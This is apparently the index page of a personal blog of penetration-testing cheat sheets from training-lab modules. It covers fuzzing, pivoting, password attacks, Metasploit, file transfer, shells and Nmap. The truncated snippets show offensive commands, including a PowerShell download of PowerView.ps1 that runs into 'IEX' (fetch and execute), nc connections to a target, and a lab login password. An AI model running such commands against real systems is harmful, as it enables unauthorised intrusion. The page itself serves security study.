k1r4 Blog

「UT SEMENTEM FACERIS ITA METES」

Atacking Web Applications with Ffuf

Atacking Web Applications with Ffuf

Ffuf Command Description ffuf -h ffuf help ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ Directory Fuzzing ...

Pivoting, Tunelling & Forwading

Pivoting, Tunelling & Forwading

| Command | Description | | ———————————————————— | ———————————————————— | | ifconfig ...

Password Atack

Password Atack

Connecting to Target Command Description xfreerdp /v:<ip> /u:htb-student /p:HTB_@cademy_stdnt! CLI-based tool used to connect to a Windows ta...

Using Metasploit Framework

Using Metasploit Framework

MSFconsole Commands Command Description show exploits Show all exploits within the Framework. show payloads Show all payloads...

Information Gathering Web

Information Gathering Web

WHOIS Command Description export TARGET="domain.tld" Assign target to an environment variable. whois $TARGET WHOIS lookup for...

File Transfer Cheatseet

File Transfer Cheatseet

Command Description  Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1 Download a file with PowerShell IEX...

Attacking Common Services

Attacking Common Services

Attacking FTP Command Description ftp 192.168.2.142 Connecting to the FTP server using the ftp client. nc -v 192.168.2.142 21 ...

Shells & Payloads

Shells & Payloads

Shells & Payloads Command Description xfreerdp /v:10.129.x.x /u:htb-student /p:HTB_@cademy_stdnt! CLI-based tool used to connect to a Windows t...

Infrastructure Based Enumeration

Infrastructure Based Enumeration

Infrastructure-based Enumeration Command Description curl -s https://crt.sh/\?q\=<target-domain>\&output\=json \| jq . Certificate transp...

Nmap CheatSheet

Nmap CheatSheet

Scanning Options Nmap Option Description 10.10.10.0/24 Target network range. -sn Disables port scanning. -Pn ...